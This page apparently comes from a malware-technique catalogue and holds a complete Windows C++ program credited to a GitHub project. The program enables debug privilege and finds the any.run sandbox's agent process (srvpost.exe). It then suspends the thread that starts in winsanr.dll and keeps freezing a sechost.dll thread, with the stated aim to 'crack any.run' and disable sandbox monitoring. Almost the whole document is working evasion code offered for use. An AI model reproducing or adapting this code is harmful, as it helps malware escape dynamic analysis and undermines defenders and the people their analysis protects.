Windows C++ / Detecting Online Sandbox

Author Kağan IŞILDAK
Platform Windows
Language C++
Technique Detecting Online Sandbox

Description:

Source: https://github.com/Malwation/InceptionAttack

Code

#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#define DEBUG_MODE 1
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define ThreadQuerySetWin32StartAddress 9

typedef NTSTATUS(WINAPI* NTQUERYINFOMATIONTHREAD)(HANDLE, LONG, PVOID, ULONG, PULONG);

struct args {
	HANDLE hThread;
};

DWORD_PTR WINAPI GetThreadStartAddress(HANDLE hThread)
{
	NTSTATUS ntStatus;
	DWORD_PTR dwThreadStartAddr;
	NTQUERYINFOMATIONTHREAD NtQueryInformationThread;
	NtQueryInformationThread = (NTQUERYINFOMATIONTHREAD)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationThread");
	ntStatus = NtQueryInformationThread(hThread, ThreadQuerySetWin32StartAddress, &dwThreadStartAddr, sizeof(DWORD_PTR), NULL);
	if (ntStatus != STATUS_SUCCESS) {
		return 0;
	}
	return dwThreadStartAddr;
}

DWORD_PTR * GetModuleInfo(DWORD pid, const wchar_t *target) {
	HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);
	DWORD_PTR moduleinfo[2];
	if (hSnap != INVALID_HANDLE_VALUE)
	{
		MODULEENTRY32 modEntry;
		modEntry.dwSize = sizeof(modEntry);
		if (Module32First(hSnap, &modEntry))
		{
			do
			{
				if (!_wcsicmp(modEntry.szModule, target)) {
					moduleinfo[0] = (DWORD_PTR)modEntry.modBaseAddr;
					moduleinfo[1] = modEntry.modBaseSize;
					return moduleinfo;
				}
				//std::wcout << "Name: " << modEntry.szModule << "\t Addr: " << modEntry.modBaseAddr << "\n";
			} while (Module32Next(hSnap, &modEntry));
		}
	}
	return 0;
}

BOOL isTarget(HANDLE tHandle, DWORD pid, const wchar_t *target) {
	DWORD_PTR ThreadStartAddr = GetThreadStartAddress(tHandle);
	if (!ThreadStartAddr) {
		std::cout << "Get start address of thread failed!\n";
		ExitProcess(1);
	}
	DWORD_PTR* retmoduleinfo = GetModuleInfo(pid, target);
	DWORD_PTR ModuleStart = retmoduleinfo[0];
	DWORD_PTR ModuleEnd = retmoduleinfo[0] + retmoduleinfo[1];
	// Only shows debug mode on (1)
	if (DEBUG_MODE) {
		printf("THREAD START ADDR: %012X\n", ThreadStartAddr);
		printf("MODULE START ADDR: %012X\n", retmoduleinfo[0]);
		printf("MODULE END ADDR: %012X\n", retmoduleinfo[0] + retmoduleinfo[1]);
	}
	if (ThreadStartAddr >= ModuleStart && ThreadStartAddr <= ModuleEnd) { // Is thread start address between ModuleStart and ModuleEnd?
		return TRUE;
	}
	else {
		return FALSE;
	}
}

void CrackAnyRun(LPVOID inargs) {
	args *funcargs = (args*)inargs;
	HANDLE tHandle = funcargs->hThread;
	while (1){
		SuspendThread(tHandle);
		std::cout << "Thread suspended\n";
		Sleep(24000);
		ResumeThread(tHandle);
		std::cout << "Thread resumed\n";
		Sleep(1000);
	}
}

int main()
{
	HANDLE tHandle, pHandle = 0, hToken;
	DWORD tid, pid = 0;
	LUID luid = { 0 };
	BOOL privRet = FALSE;

	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
		std::cout << "OpenProcessToken success!\n";
		if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
		{
			TOKEN_PRIVILEGES tokenPriv = { 0 };
			tokenPriv.PrivilegeCount = 1;
			tokenPriv.Privileges[0].Luid = luid;
			tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
			privRet = AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
		}
	}
	else {
		std::cout << "OpenProcessToken failed! Error: " << GetLastError() << "\n";
		ExitProcess(1);
	}
	if (!privRet) {
		std::cout << "Adjust privilege failed!\n";
		ExitProcess(1);
	}

	// Find PID by name
	PROCESSENTRY32 pe; 
	HANDLE hps = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hps != INVALID_HANDLE_VALUE) {
		pe.dwSize = sizeof(PROCESSENTRY32);
		if (Process32First(hps, &pe)) {
			do {
				if (!_wcsicmp(pe.szExeFile, L"srvpost.exe")) {
					pid = pe.th32ProcessID;
				}
			} while (Process32Next(hps, &pe));
		}
	}
	else {
		std::cout << "Process snapshot cannot taken!\n";
		ExitProcess(1);
	}
	if (pid == 0) {
		std::cout << "Process not found!\n";
		ExitProcess(1);
	}
	// Retrieve threads in process
	HANDLE hth = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
	if (hth != INVALID_HANDLE_VALUE) {
		THREADENTRY32 te;
		te.dwSize = sizeof(te);
		if (Thread32First(hth, &te)) {
			do {
				if (te.th32OwnerProcessID == pid) {
					tHandle = OpenThread(THREAD_SUSPEND_RESUME | THREAD_QUERY_INFORMATION, FALSE, te.th32ThreadID);
					if (tHandle != INVALID_HANDLE_VALUE) {
						if (isTarget(tHandle, pid, L"winsanr.dll")) {
							SuspendThread(tHandle);
							// Only shows debug mode on (1)
							if (DEBUG_MODE) {
								std::cout << "THREADID: " << te.th32ThreadID << "\n";
							}
						}
						// Crack any.run :D 
						if (isTarget(tHandle, pid, L"sechost.dll")) {
							HANDLE dupHandle;
							if (DuplicateHandle(GetCurrentProcess(), tHandle, GetCurrentProcess(), &dupHandle, THREAD_SUSPEND_RESUME, FALSE, 0)) {
								args thargs;
								thargs.hThread = dupHandle;
								CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)CrackAnyRun, &thargs, 0, NULL);
								CloseHandle(tHandle);
								continue;
							}
						}
						else {
							continue;
						}
						CloseHandle(tHandle);
					}
				}
			} while (Thread32Next(hth, &te));
		}
	}
	else {
		std::cout << "Thread snapshot cannot taken!\n";
		ExitProcess(1);
	}
	while (1); // for second thread
}

Created

June 11, 2021

Last Revised

April 22, 2024